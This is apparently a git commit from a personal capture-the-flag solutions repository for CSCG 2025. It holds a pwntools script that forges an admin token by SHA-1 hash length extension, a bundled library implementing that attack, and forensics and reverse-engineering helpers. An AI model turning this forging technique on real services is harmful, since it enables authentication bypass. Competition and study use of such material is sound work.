cscg25 continues

This commit is contained in:
2025-03-24 22:03:34 +01:00
parent 4db3a89e70
commit 04a5de372e
61 changed files with 3096 additions and 110 deletions

BIN
.DS_Store vendored

Binary file not shown.

13
.gitignore vendored
View File

@@ -1,16 +1,13 @@
htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/challenge/
insomnihack24/mobile/.venv/
insomnihack24/mobile/Notes/
insomnihack24/mobile/CryptoTest/.idea/
insomnihack24/mobile/CryptoTest/out/
insomnihack24/misc/puzzled/solutions/
insomnihack24/misc/puzzled/pieces/
insomnihack24/web/mathematical/.venv/
.DS_Store
.venv
__pycache__

BIN
cscg24/.DS_Store vendored

Binary file not shown.

View File

@@ -1,72 +1,18 @@
from pwn import *
from base64 import b64encode, b64decode
import struct
import binascii
import hlextend
KEY_LENGTH_BYTES = 16
LOCAL = True
if not LOCAL:
p = remote("190b6910a0ded80a0296d180-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
if LOCAL:
p = process(["python", "main.py"])# Define functions for convenience
else:
p = remote("965850e570d3b775de1709a2-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
menu_string = b"\n 1. Register\n 2. Show animal videos\n 3. Show flag\n 4. Exit\n \nEnter your choice:"
class SHA1:
def __init__(self, h0, h1, h2, h3, h4, message_byte_length):
self.h0 = h0
self.h1 = h1
self.h2 = h2
self.h3 = h3
self.h4 = h4
self.message_byte_length = message_byte_length
def _left_rotate(self, n, b):
return ((n << b) | (n >> (32 - b))) & 0xffffffff
def update(self, message):
message_byte_length = len(message)
message_bit_length = (self.message_byte_length + message_byte_length) * 8
message += b'\x80'
message += b'\x00' * ((56 - (len(message) % 64)) % 64)
message += struct.pack('>Q', message_bit_length)
for chunk_offset in range(0, len(message), 64):
w = list(struct.unpack('>16I', message[chunk_offset:chunk_offset + 64]))
w.extend(0 for _ in range(64))
for i in range(16, 80):
w[i] = self._left_rotate(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
a, b, c, d, e = self.h0, self.h1, self.h2, self.h3, self.h4
for i in range(80):
if 0 <= i < 20:
f = (b & c) | (~b & d)
k = 0x5A827999
elif 20 <= i < 40:
f = b ^ c ^ d
k = 0x6ED9EBA1
elif 40 <= i < 60:
f = (b & c) | (b & d) | (c & d)
k = 0x8F1BBCDC
else:
f = b ^ c ^ d
k = 0xCA62C1D6
temp = (self._left_rotate(a, 5) + f + e + k + w[i]) & 0xffffffff
e = d
d = c
c = self._left_rotate(b, 30)
b = a
a = temp
self.h0 = (self.h0 + a) & 0xffffffff
self.h1 = (self.h1 + b) & 0xffffffff
self.h2 = (self.h2 + c) & 0xffffffff
self.h3 = (self.h3 + d) & 0xffffffff
self.h4 = (self.h4 + e) & 0xffffffff
def digest(self):
return struct.pack('>5I', self.h0, self.h1, self.h2, self.h3, self.h4)
def recv_until(delim):
return p.recvuntil(delim)
@@ -92,53 +38,24 @@ def show_flag(token: bytes):
p.sendline(token)
interact()
def sha1_padding(message_length):
padding = b'\x80'
padding += b'\x00' * ((56 - (message_length + 1) % 64) % 64)
padding += struct.pack('>Q', message_length * 8)
return padding
def get_mac(data: bytes) -> str:
return sha1(KEY.encode("latin1") + data).hexdigest()
if LOCAL:
print("Enter token:")
token = input()
else:
token = register()
token = register()
string_token = b64decode(token)
claims, mac = string_token.split(b"|mac=")
print(f"{token} : {string_token}")
padding = sha1_padding(KEY_LENGTH_BYTES + len(claims))
print(f"{claims}")
print(f"{mac}")
injection = "|admin=true".encode("latin1")
forged_msg = claims + padding + injection
h = struct.unpack('>5I', bytes.fromhex(mac.decode("latin1")))
sha1 = SHA1(*h, message_byte_length=len(forged_msg) - len(injection))
sha1.update(injection)
forged_mac = sha1.digest().hex()
key = input("Input Key")
orig_sha1 = SHA1(*[0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], message_byte_length=(len(forged_msg) + KEY_LENGTH_BYTES))
orig_sha1.update(key.encode("latin1") + forged_msg)
real_mac = orig_sha1.digest().hex()
print(f"forged mac: {forged_mac} | real mac: {real_mac}")
sha_forge = hlextend.new('sha1')
forged_msg = sha_forge.extend(injection, claims, KEY_LENGTH_BYTES, mac.decode("latin1"))
forged_mac = sha_forge.hexdigest()
secure_token = forged_msg + f"|mac={forged_mac}".encode("latin1")
secure_token = b64encode(secure_token).decode("latin1")
if LOCAL:
print(secure_token)
else:
show_flag(secure_token)
show_flag(secure_token)
p.interactive()

View File

@@ -0,0 +1,442 @@
# Copyright (C) 2014 by Stephen Bradshaw
#
# SHA1 and SHA2 generation routines from SlowSha https://code.google.com/p/slowsha/
# which is: Copyright (C) 2011 by Stefano Palazzo
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
'''
Pure Python Hash Length Extension module.
Currently supports SHA1, SHA256 and SHA512, more algorithms will
be added in the future.
Create a hash by calling one of the named constuctor functions:
sha1(), sha256(), and sha512(), or by calling new(algorithm).
The hash objects have the following methods:
hash(message):
Feeds data into the hash function using the normal interface.
extend(appendData, knownData, secretLength, startHash):
Performs a hash length extension attack. Returns the bytestring to
use when appending data.
hexdigest():
Returns a hexlified version of the hash output.
Assume you have a hash generated from an unknown secret value concatenated with
a known value, and you want to be able to produce a valid hash after appending
additional data to the known value.
If the hash algorithm used is one of the vulnerable functions implemented in
this module, is is possible to achieve this without knowing the secret value
as long as you know (or can guess, perhaps by brute force) the length of that
secret value. This is called a hash length extension attack.
Given an existing sha1 hash value '52e98441017043eee154a6d1af98c5e0efab055c',
known data of 'hello', an unknown secret of length 10 and data you wish
to append of 'file', you would do the following to perform the attack:
>>> import hlextend
>>> sha = hlextend.new('sha1')
>>> print sha.extend(b'file', b'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
b'hello\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xfile'
>>> print sha.hexdigest()
c60fa7de0860d4048a3bfb36b70299a95e6587c9
The unknown secret (of length 10), that when hashed appended with 'hello' produces
a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce
a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output
from the extend function above.
If you are not sure of the exact length of the secret value, simply try the above
multiple times specifying different values for the length to brute force.
'''
from re import match
from math import ceil
from typing import Union
__version__ = "0.2"
class Hash(object):
'''Parent class for hash functions'''
def hash(self, message):
'''Normal input for data into hash function'''
length = bin(len(message) * 8)[2:].rjust(self._blockSize, "0")
while len(message) > self._blockSize:
self._transform(''.join([bin(a)[2:].rjust(8, "0")
for a in message[:self._blockSize]]))
message = message[self._blockSize:]
message = self.__hashBinaryPad(message, length)
for a in range(len(message) // self._b2):
self._transform(message[a * self._b2:a * self._b2 + self._b2])
def extend(self, appendData, knownData, secretLength, startHash):
'''Hash length extension input for data into hash function'''
self.__checkInput(secretLength, startHash)
self.__setStartingHash(startHash)
extendLength = self.__hashGetExtendLength(
secretLength, knownData, appendData)
message = appendData
while len(message) > self._blockSize:
self._transform(''.join([bin(a)[2:].rjust(8, "0")
for a in message[:self._blockSize]]))
message = message[self._blockSize:]
message = self.__hashBinaryPad(message, extendLength)
for i in range(len(message) // self._b2):
self._transform(message[i * self._b2:i * self._b2 + self._b2])
return self.__hashGetPadData(secretLength, knownData, appendData)
def hexdigest(self):
'''Outputs hash data in hexlified format'''
return ''.join([(('%0' + str(self._b1) + 'x') % (a)) for a in self.__digest()])
def __init__(self):
# pre calculate some values that get used a lot
self._b1 = self._blockSize/8
self._b2 = self._blockSize*8
def __digest(self):
return [self.__getattribute__(a) for a in dir(self) if match('^_h\d+$', a)]
def __setStartingHash(self, startHash):
c = 0
hashVals = [int(startHash[a:a+int(self._b1)], base=16)
for a in range(0, len(startHash), int(self._b1))]
for hv in [a for a in dir(self) if match('^_h\d+$', a)]:
self.__setattr__(hv, hashVals[c])
c += 1
print(hashVals)
def __checkInput(self, secretLength, startHash):
if not isinstance(secretLength, int):
raise TypeError('secretLength must be a valid integer')
if secretLength < 1:
raise ValueError('secretLength must be grater than 0')
if not match('^[a-fA-F0-9]{' + str(len(self.hexdigest())) + '}$', startHash):
raise ValueError('startHash must be a string of length ' +
str(len(self.hexdigest())) + ' in hexlified format')
def __byter(self, byteVal):
'''Helper function to return usable values for hash extension append data'''
if byteVal < 0x20 or byteVal > 0x7e:
return '\\x%02x' % (byteVal)
else:
return chr(byteVal)
def __binToByte(self, binary) -> bytearray:
return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')
def __hashGetExtendLength(self, secretLength, knownData, appendData):
'''Length function for hash length extension attacks'''
# binary length (secretLength + len(knownData) + size of binarysize+1) rounded to a multiple of blockSize + length of appended data
originalHashLength = int(ceil(
(secretLength+len(knownData)+self._b1+1)/float(self._blockSize)) * self._blockSize)
newHashLength = originalHashLength + len(appendData)
return bin(newHashLength * 8)[2:].rjust(self._blockSize, "0")
def __hashGetPadData(self, secretLength, knownData, appendData):
'''Return append value for hash extension attack'''
originalHashLength = bin(
(secretLength+len(knownData)) * 8)[2:].rjust(self._blockSize, "0")
padData = ''.join(bin(i)[2:].rjust(8, "0")
for i in knownData) + "1"
padData += "0" * (((self._blockSize*7) - (len(padData)+(secretLength*8)) %
self._b2) % self._b2) + originalHashLength
return self.__binToByte(padData) + appendData
def __hashBinaryPad(self, message, length):
'''Pads the final blockSize block with \x80, zeros, and the length, converts to binary'''
out_msg = ''
for i in message:
out_msg += bin(i)[2:].rjust(8, "0")
out_msg += "1"
out_msg += "0" * (((self._blockSize*7) - len(out_msg) % self._b2) % self._b2) + length
return out_msg
class SHA1 (Hash):
_h0, _h1, _h2, _h3, _h4, = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0
_blockSize = 64
def _transform(self, chunk):
def lrot(x, n): return (x << n) | (x >> (32 - n))
w = []
for j in range(len(chunk) // 32):
w.append(int(chunk[j * 32:j * 32 + 32], 2))
for i in range(16, 80):
w.append(lrot(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
& 0xffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
for i in range(80):
if i <= i <= 19:
f, k = d ^ (b & (c ^ d)), 0x5a827999
elif 20 <= i <= 39:
f, k = b ^ c ^ d, 0x6ed9eba1
elif 40 <= i <= 59:
f, k = (b & c) | (d & (b | c)), 0x8f1bbcdc
elif 60 <= i <= 79:
f, k = b ^ c ^ d, 0xca62c1d6
temp = lrot(a, 5) + f + e + k + w[i] & 0xffffffff
a, b, c, d, e = temp, a, lrot(b, 30), c, d
self._h0 = (self._h0 + a) & 0xffffffff
self._h1 = (self._h1 + b) & 0xffffffff
self._h2 = (self._h2 + c) & 0xffffffff
self._h3 = (self._h3 + d) & 0xffffffff
self._h4 = (self._h4 + e) & 0xffffffff
class SHA256 (Hash):
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19)
_blockSize = 64
def _transform(self, chunk):
def rrot(x, n): return (x >> n) | (x << (32 - n))
w = []
k = [
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]
for j in range(len(chunk) // 32):
w.append(int(chunk[j * 32:j * 32 + 32], 2))
for i in range(16, 64):
s0 = rrot(w[i - 15], 7) ^ rrot(w[i - 15], 18) ^ (w[i - 15] >> 3)
s1 = rrot(w[i - 2], 17) ^ rrot(w[i - 2], 19) ^ (w[i - 2] >> 10)
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
f = self._h5
g = self._h6
h = self._h7
for i in range(64):
s0 = rrot(a, 2) ^ rrot(a, 13) ^ rrot(a, 22)
maj = (a & b) ^ (a & c) ^ (b & c)
t2 = s0 + maj
s1 = rrot(e, 6) ^ rrot(e, 11) ^ rrot(e, 25)
ch = (e & f) ^ ((~ e) & g)
t1 = h + s1 + ch + k[i] + w[i]
h = g
g = f
f = e
e = (d + t1) & 0xffffffff
d = c
c = b
b = a
a = (t1 + t2) & 0xffffffff
self._h0 = (self._h0 + a) & 0xffffffff
self._h1 = (self._h1 + b) & 0xffffffff
self._h2 = (self._h2 + c) & 0xffffffff
self._h3 = (self._h3 + d) & 0xffffffff
self._h4 = (self._h4 + e) & 0xffffffff
self._h5 = (self._h5 + f) & 0xffffffff
self._h6 = (self._h6 + g) & 0xffffffff
self._h7 = (self._h7 + h) & 0xffffffff
class SHA512 (Hash):
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b,
0xa54ff53a5f1d36f1, 0x510e527fade682d1, 0x9b05688c2b3e6c1f,
0x1f83d9abfb41bd6b, 0x5be0cd19137e2179)
_blockSize = 128
def _transform(self, chunk):
def rrot(x, n): return (x >> n) | (x << (64 - n))
w = []
k = [
0x428a2f98d728ae22, 0x7137449123ef65cd,
0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,
0x3956c25bf348b538, 0x59f111f1b605d019,
0x923f82a4af194f9b, 0xab1c5ed5da6d8118,
0xd807aa98a3030242, 0x12835b0145706fbe,
0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,
0x72be5d74f27b896f, 0x80deb1fe3b1696b1,
0x9bdc06a725c71235, 0xc19bf174cf692694,
0xe49b69c19ef14ad2, 0xefbe4786384f25e3,
0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,
0x2de92c6f592b0275, 0x4a7484aa6ea6e483,
0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,
0x983e5152ee66dfab, 0xa831c66d2db43210,
0xb00327c898fb213f, 0xbf597fc7beef0ee4,
0xc6e00bf33da88fc2, 0xd5a79147930aa725,
0x06ca6351e003826f, 0x142929670a0e6e70,
0x27b70a8546d22ffc, 0x2e1b21385c26c926,
0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,
0x650a73548baf63de, 0x766a0abb3c77b2a8,
0x81c2c92e47edaee6, 0x92722c851482353b,
0xa2bfe8a14cf10364, 0xa81a664bbc423001,
0xc24b8b70d0f89791, 0xc76c51a30654be30,
0xd192e819d6ef5218, 0xd69906245565a910,
0xf40e35855771202a, 0x106aa07032bbd1b8,
0x19a4c116b8d2d0c8, 0x1e376c085141ab53,
0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,
0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb,
0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,
0x748f82ee5defb2fc, 0x78a5636f43172f60,
0x84c87814a1f0ab72, 0x8cc702081a6439ec,
0x90befffa23631e28, 0xa4506cebde82bde9,
0xbef9a3f7b2c67915, 0xc67178f2e372532b,
0xca273eceea26619c, 0xd186b8c721c0c207,
0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,
0x06f067aa72176fba, 0x0a637dc5a2c898a6,
0x113f9804bef90dae, 0x1b710b35131c471b,
0x28db77f523047d84, 0x32caab7b40c72493,
0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,
0x4cc5d4becb3e42b6, 0x597f299cfc657e2a,
0x5fcb6fab3ad6faec, 0x6c44198c4a475817]
for j in range(len(chunk) // 64):
w.append(int(chunk[j * 64:j * 64 + 64], 2))
for i in range(16, 80):
s0 = rrot(w[i - 15], 1) ^ rrot(w[i - 15], 8) ^ (w[i - 15] >> 7)
s1 = rrot(w[i - 2], 19) ^ rrot(w[i - 2], 61) ^ (w[i - 2] >> 6)
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffffffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
f = self._h5
g = self._h6
h = self._h7
for i in range(80):
s0 = rrot(a, 28) ^ rrot(a, 34) ^ rrot(a, 39)
maj = (a & b) ^ (a & c) ^ (b & c)
t2 = s0 + maj
s1 = rrot(e, 14) ^ rrot(e, 18) ^ rrot(e, 41)
ch = (e & f) ^ ((~ e) & g)
t1 = h + s1 + ch + k[i] + w[i]
h = g
g = f
f = e
e = (d + t1) & 0xffffffffffffffff
d = c
c = b
b = a
a = (t1 + t2) & 0xffffffffffffffff
self._h0 = (self._h0 + a) & 0xffffffffffffffff
self._h1 = (self._h1 + b) & 0xffffffffffffffff
self._h2 = (self._h2 + c) & 0xffffffffffffffff
self._h3 = (self._h3 + d) & 0xffffffffffffffff
self._h4 = (self._h4 + e) & 0xffffffffffffffff
self._h5 = (self._h5 + f) & 0xffffffffffffffff
self._h6 = (self._h6 + g) & 0xffffffffffffffff
self._h7 = (self._h7 + h) & 0xffffffffffffffff
def new(algorithm) -> Union[SHA1, SHA256, SHA512]:
obj = {
'sha1': SHA1,
'sha256': SHA256,
'sha512': SHA512,
}[algorithm]()
return obj
def sha1():
''' Returns a new sha1 hash object '''
return new('sha1')
def sha256():
''' Returns a new sha256 hash object '''
return new('sha256', )
def sha512():
''' Returns a new sha512 hash object '''
return new('sha512', )
__all__ = ('sha1', 'sha256', 'sha512')

View File

@@ -1,5 +1,3 @@
#!/usr/bin/env python3
from hashlib import sha1
from base64 import b64encode, b64decode
from secrets import token_hex

View File

@@ -0,0 +1,12 @@
from scapy.all import rdpcap
packets = rdpcap("./intro-forensics-2.pcapng")
filterd_packets = [packet for packet in packets if len(packet) == 87]
flag = b""
for packet in filterd_packets:
flag += bytes.fromhex(hex(packet['TCP'].dport)[2:])
print(flag.decode())

Binary file not shown.

After

Width:  |  Height:  |  Size: 736 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 736 KiB

View File

@@ -0,0 +1,32 @@
from pngparser import PngParser, chunktypes
import zlib
def calc_crc(chunk):
return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
parser = PngParser("./intro-forensics-3")
header = parser.get_header()
header.crc = calc_crc(header)
data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]]
for chunk in data_chunks:
chunk.crc = calc_crc(chunk)
end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
end_chunk[0].crc = calc_crc(end_chunk[0])
correct_chunk = [data_chunks[21], data_chunks[16], data_chunks[18], data_chunks[24], data_chunks[4], data_chunks[13], data_chunks[23], data_chunks[5], data_chunks[19], data_chunks[10], data_chunks[8], data_chunks[6], data_chunks[14], data_chunks[15], data_chunks[2], data_chunks[9], data_chunks[22], data_chunks[3], data_chunks[1], data_chunks[17], data_chunks[12], data_chunks[0], data_chunks[7]]
possible_chunks = [(id,x) for id,x in enumerate(data_chunks) if x not in correct_chunk]
for (id, chunk) in possible_chunks:
chunks = [header] + correct_chunk + [chunk] + end_chunk
png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
for chunk in chunks:
png_file += chunk.to_bytes()
with open(f"reconstructed_{id}.png", "wb") as f:
f.write(png_file)

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 MiB

View File

@@ -0,0 +1,38 @@
from pngparser import PngParser, chunktypes, ChunkIHDR
import zlib
def calc_crc(chunk):
return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
parser = PngParser("./test.png")
header = parser.get_header()
header.crc = calc_crc(header)
header = ChunkIHDR(chunktypes.TYPE_IHDR, header.data, header.crc)
print(header)
data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]]
data_chunks = data_chunks[:10]
for chunk in data_chunks:
chunk.crc = calc_crc(chunk)
print([chunk.type for chunk in data_chunks])
end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
end_chunk[0].crc = calc_crc(end_chunk[0])
chunks = [header] + data_chunks + end_chunk
png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
for chunk in chunks:
png_file += chunk.to_bytes()
with open("test_cut.png", "wb") as f:
f.write(png_file)
print(len(data_chunks))

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

View File

@@ -0,0 +1,25 @@
import numpy as np
import matplotlib.pyplot as plt
def decode_ota_bitmap(hex_data, width=72, height=14):
# Step 1: Convert hex to binary string
binary_data = ''.join(f"{int(h, 16):04b}" for h in hex_data)
# Step 2: Ensure the binary data fits the expected size
expected_bits = width * height
binary_data = binary_data[:expected_bits]
# Step 3: Convert binary data to a numpy array for visualization
bitmap = np.array([int(bit) for bit in binary_data]).reshape(height, width)
# Step 4: Display the bitmap
plt.figure(figsize=(6, 2))
plt.imshow(bitmap, cmap='gray', interpolation='nearest')
plt.axis('off')
plt.title("Decoded OTA Bitmap")
plt.show()
# Example Usage
hex_payload = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F3273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFFFFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00"
decode_ota_bitmap(hex_payload)

BIN
cscg25/misc/nokia/flag.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

View File

@@ -0,0 +1,12 @@
Header Info:
Destination Port: 0x1583
User Data:
First:
0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32
Second:
0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF
Third:
0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00

View File

@@ -0,0 +1,52 @@
00000000 <.text>:
0: 0c 94 34 00 jmp 0x68 ; 0x68
4: 0c 94 49 00 jmp 0x92 ; 0x92
8: 0c 94 49 00 jmp 0x92 ; 0x92
c: 0c 94 49 00 jmp 0x92 ; 0x92
10: 0c 94 49 00 jmp 0x92 ; 0x92
14: 0c 94 49 00 jmp 0x92 ; 0x92
18: 0c 94 49 00 jmp 0x92 ; 0x92
1c: 0c 94 49 00 jmp 0x92 ; 0x92
20: 0c 94 49 00 jmp 0x92 ; 0x92
24: 0c 94 49 00 jmp 0x92 ; 0x92
28: 0c 94 49 00 jmp 0x92 ; 0x92
2c: 0c 94 49 00 jmp 0x92 ; 0x92
30: 0c 94 49 00 jmp 0x92 ; 0x92
34: 0c 94 49 00 jmp 0x92 ; 0x92
38: 0c 94 49 00 jmp 0x92 ; 0x92
3c: 0c 94 49 00 jmp 0x92 ; 0x92
40: 0c 94 49 00 jmp 0x92 ; 0x92
44: 0c 94 49 00 jmp 0x92 ; 0x92
48: 0c 94 49 00 jmp 0x92 ; 0x92
4c: 0c 94 49 00 jmp 0x92 ; 0x92
50: 0c 94 49 00 jmp 0x92 ; 0x92
54: 0c 94 49 00 jmp 0x92 ; 0x92
58: 0c 94 49 00 jmp 0x92 ; 0x92
5c: 0c 94 49 00 jmp 0x92 ; 0x92
60: 0c 94 49 00 jmp 0x92 ; 0x92
64: 0c 94 49 00 jmp 0x92 ; 0x92
68: 11 24 eor r1, r1
6a: 1f be out 0x3f, r1 ; 63
6c: cf ef ldi r28, 0xFF ; 255
6e: d8 e0 ldi r29, 0x08 ; 8
70: de bf out 0x3e, r29 ; 62
72: cd bf out 0x3d, r28 ; 61
74: 12 e0 ldi r17, 0x02 ; 2
76: a0 e0 ldi r26, 0x00 ; 0
78: b1 e0 ldi r27, 0x01 ; 1
7a: e2 ec ldi r30, 0xC2 ; 194
7c: f8 e0 ldi r31, 0x08 ; 8
7e: 02 c0 rjmp .+4 ; 0x84
80: 05 90 lpm r0, Z+
82: 0d 92 st X+, r0
84: a4 3a cpi r26, 0xA4 ; 164
86: b1 07 cpc r27, r17
88: d9 f7 brne .-10 ; 0x80
8a: 0e 94 e6 03 call 0x7cc ; 0x7cc
8e: 0c 94 5f 04 jmp 0x8be ; 0x8be
92: 0c 94 00 00 jmp 0 ; 0x0
96: 10 92 c5 00 sts 0x00C5, r1 ; 0x8000c5
9a: 87 e6 ldi r24, 0x67 ; 103
9c: 80 93 c4 00 sts 0x00C4, r24 ; 0x8000c4
a0: 88 e1 ldi r24, 0x18 ; 24

1356
cscg25/rev/grid_wave/dump Normal file

File diff suppressed because it is too large Load Diff

View File

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073ffb8121240967914416" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="blogpost.bin" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8073dcc793952601231625" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="GRID_WAVE_4X8_LangleyMicros.vr" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,6 @@
VERSION=1
/
00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
00000004:blogpost.bin:c0a8073ffb8121240967914416
NEXT-ID:6
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,6 @@
VERSION=1
/
00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625
00000004:blogpost.bin:c0a8073ffb8121240967914416
NEXT-ID:6
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="OWNER" TYPE="string" VALUE="cato" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,247 @@
<?xml version="1.0" encoding="UTF-8"?>
<PROJECT>
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
<SAVE_STATE>
<ARRAY NAME="EXPANDED_PATHS" TYPE="string">
<A VALUE="gridwave:" />
</ARRAY>
<STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
</SAVE_STATE>
</PROJECT_DATA_XML_NAME>
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
<WORKSPACE NAME="Workspace" ACTIVE="true">
<RUNNING_TOOL TOOL_NAME="CodeBrowser">
<ROOT_NODE X_POS="-541" Y_POS="-1410" WIDTH="2505" HEIGHT="1388" EX_STATE="6">
